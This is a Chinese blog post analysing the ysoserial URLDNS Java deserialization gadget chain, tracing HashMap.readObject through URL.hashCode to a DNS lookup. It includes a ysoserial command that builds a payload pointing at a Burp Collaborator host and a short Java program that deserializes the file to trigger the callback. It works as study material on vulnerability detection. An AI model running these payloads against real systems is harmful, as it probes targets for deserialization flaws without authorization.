URLDNS链反序列化调试

Java安全之URLDNS链分析

0x00 前言

作为一个java小白,最近学习了下ysoserial生成payload的原理,其中最容易入门学习的就是urldns链,也是在利用java反序列化漏洞时候用来判断是否存在漏洞的基础链。

0x01 原理分析

使用工具:idea
首先从github上下载ysoserial工具(https://github.com/frohoff/ysoserial),并导入idea.由于ysoserial依赖包较多,建议使用maven一次性下载完成。
 
调试步骤:
在pom.xml中,全局搜索mainclass,这里是入口点
通读代码可以发现,这里通过传参加载不同的payload模块生成我们需要的反序列化攻击payload

找到urldns攻击类,可以看到给出了对应的利用链:

我们直接去hashmap readobject类(java.util.HashMap#readObject)源码处putval下断点调试:

可以看到这里首先触发了hash(java.util.HashMap#hash)方法,跟进去看一下:

 

这里调用了hashcode(java.net.URL#hashCode)方法,跟进:

 

具体为啥这里hashCode是-1,我们看一下ysoserial生成payload的时候,使用反射将hashcode手动设置为了-1

 

继续往下看,可以看到调用了URLStreamHandler类的hashcode方法( java.net.URLStreamHandler#hashCode),跟进去看一下:

 

这里首先将url对象传进来,获取了protocol对应的协议为http,然后使用getHostAddress方法将对应域名地址转换为ip,简单跟进看一下:

 

调用url类的getHostAddress

 

可以看到这里调用了getByName方法,该方法用来将域名解析成ip,造成一次DNS请求

 

所以,要完成这个反序列化,首先要实例化一个hashmap对象,并初始化一个URL对象,作为key放在hashmap对象中,还要设置hashcode的值为-1,才能调用到后面的getHostAddress方法从而发起dns请求。

 

0x03 复现测试

生成payload:

java -jar ysoserial.jar URLDNS http://uwuwdq6i2zkw1m8p6ds4fomcp3vujj.burpcollaborator.net >out.bin

漏洞触发代码:

复制代码
import java.io.ObjectInputStream;
import java.io.FileInputStream;

public class URLDNS {
    public static void main(String[] args) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("C:\\Users\\admin\\Desktop\\out.bin"));
        ois.readObject();
    }
}
复制代码

收到DNS回显:

 

 

 

 

 

 

posted @   rain_code  阅读(212)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
点击右上角即可分享
微信分享提示